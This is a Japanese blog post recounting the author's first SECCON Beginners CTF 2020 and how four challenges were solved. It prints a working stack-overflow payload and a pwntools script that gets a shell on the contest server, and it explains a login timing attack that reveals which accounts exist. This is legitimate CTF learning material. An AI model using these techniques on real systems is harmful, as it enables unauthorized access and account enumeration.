「SECCON Beginners CTF 2020」に参加しました。

タイトルにもある通り「SECCON Beginners CTF 2020」に参加させていただきました。
初参加だったので参加記を残しておこうと思います。
writeupは作問者様や他の参加者様たちのブログで良質なものが見れると思うので、今回は参加記という形にしています。
あまり気にしなくて良いのかもしれませんが...

結果

4問(welcome問題抜)正解で255位でした。
CTF初心者にしては頑張ったほうなのかな、と思います。

解けた問題

Beginner's Stack

pwn初心者の私には丁度よい難易度の問題でした。
やっていてとても楽しかったです。
リターンアドレスを関数winへ書き換えれば"Congratulations!"という文字が出てシェルが起動するという問題でした。
Aを40文字+win関数のアドレスを入力するとリターンアドレスが書き換えられるのでまずはそれを実行しました。

echo "$(perl -e 'print "A"x40 . "\x61\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 90011

これを実行すると終了!
と、おもいきやエラー(?)が出ます。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

RSPの値を16バイトにアライメントされていないとだめだ、ということなので少し値をずらして再度実行します。

echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')" | nc bs.quals.beginners.seccon.jp 9001

\x61から\x62にしました。
これでCongratulations!が出て、あとはシェルを使ってフラグを表示させれば終了!
と思いきや、まだ終了ではありませんでした。
シェルは起動しているのですがコマンドの入出力ができません。
ここで躓いた人は多いのではないでしょうか。私はここで夜を明かしました。
どうにかしてシェルをインタラクティブに操作できないかとグーグル先生にしつこく聞いていたら、pwntoolsなるものが使えそうということがわかりました。
早速導入して書いたコードが以下になります。

from pwn import *

def main():
    context(arch="i386", os="linux")

    p = remote("bs.quals.beginners.seccon.jp", 9001)

    payload = "A"*40 + '\x62\x08\x40\x00\x00\x00\x00\x00'

    p.sendlineafter("Input:", payload)

    p.interactive()

if __name__ == "__main__":
    main()

なんとも便利ですね。
見様見真似で書いたので詳しいことはわかりませんが、関数名からなんとなく処理を察して書いてみたら動きました。
インタラクティブにコマンド操作ができるようになったので、lsでflag.txtを捜索してから、catして終了です。

pwntoolsを使う他には以下のような方法でもいけます。

echo "$(perl -e 'print "A"x40 . "\x62\x08\x40\x00\x00\x00\x00\x00"')"  > input
cat input - | nc bs.quals.beginners.seccon.jp 9001

でもCTFをやっていくならpwntoolsを学んだほうが良さそうですね。

R&B

配られたプログラムを見るとFORMAT(文字列)があったとき、n番目の文字が'R'ならrot13エンコード、'B'ならbase64エンコードをする。
その後rot13なら'R', base64なら'B'をエンコードしたもの先頭に加え、新たな文字列とする。
といった処理になっています。
なのでこれは逆に先頭の文字を見てデコードしていけばFLAGが出るということになります。
書いたコードです。

from base64 import *
import codecs

def rot13(s):
    return codecs.decode(s, 'rot13')


def base64d(s):
    return b64decode(s)

s = 'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='

while s[0] != 'c':
    if s[0] == 'R':
        s = rot13(s[1:])

    if s[0] == 'B':
        s = base64d(s[1:]).decode('utf-8')


print(s)

flag形式がctf4b{hoge}なので先頭がcになるまで繰り返すことにしています。
今回はこれでflagが出ましたが、ものによってはctfで比較したほうが良いかもしれません。

Spy

この問題もかなり好きな問題でした。
チャレンジページでWebツールを使用する社員の組み合わせを的中させればflagがゲットできる問題でした。
最初全くわからず全列挙してやろう、と思って A + (B ~ Z) まで試したあたりで力尽きてやめました。
やめてきちんとソースコードを見てみると、時間を表示している部分がやけに気になったのでそこを中心に解法を考えてみました。
結果的にこれがflagゲットに繋がったわけですが、運が良かったです。
肝となる処理がここだと思います。(コメントは削除してあります)

exists, account = db.get_account(name)
if not exists:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
    return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

アカウントが存在していると2つ目のif文の処理まで流れます。
逆に存在しない場合はその前の1つ目のif文でreturnされるので処理時間は短くなります。
このために時間表示があったのか!とここで気が付きました。
あとは従業員のログインを全部試してみて、ログイン処理が長い従業員をマーク。
go to challengeして終了です。
わかったとき脳汁出まくってやばかったです()

emoemoencode

絵文字でできた文字列が渡されそれを解読する問題でした。
最初見たときわからなさすぎたので、似たような問題が他のCTFで出てないか探しました。
「絵文字 エンコード CTF」と検索するとかなり参考になりそうな記事がヒットしました。

RC3 CTF 2017 の write-up - st98 の日記帳

このCTFではbase64でしたが、似たような感じでやれば良いんだなという方針を立てました。
flag形式がctf4{hoge}なので🍣がcに来るように前後の文字をa~zに割り当てて変換を行いました。
同じように🌴の位置に合わせて0~9も割り当てました。
文字だけだとよくわからないのでコード載せます。

re    = list('🍡🍢🍣🍤🍥🍦🍧🍨🍩🍪🍫🍬🍭🍮🍯🍰🍱🍲🍳🍴🍵🍶🍷🍸🍹🍺🌰🌱🌲🌳🌴🌵🌶🌷🌸🌹')
alnum = list('abcdefghijklmnopqrstuvwxyz012345679')

flag = '🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽'

for f in flag:
    if f in re:
        print(alnum[re.index(f)], end='')
    else:
        print(f, end='')

print()

これを実行すると

ctf4b🍻stegan0graphy🍟by🍟em000000ji🍽

となってまだ、正解ではありません。
ですがもうほぼ正解なのであとは勘で" { _ } "を補填してflagが出ました。

本当は各文字コードの下位8bitを抜き出して、ascii変換するのが正攻法っぽいです。

まとめ・感想

CTFやるやる言ってあまりやっていませんでしたが、こういう機会に参加できてとても楽しかったです。
今後少しずつ様々なCTFに参加して、ツヨツヨになっていけたらなあと思います。
詐欺にならないよう気をつけます。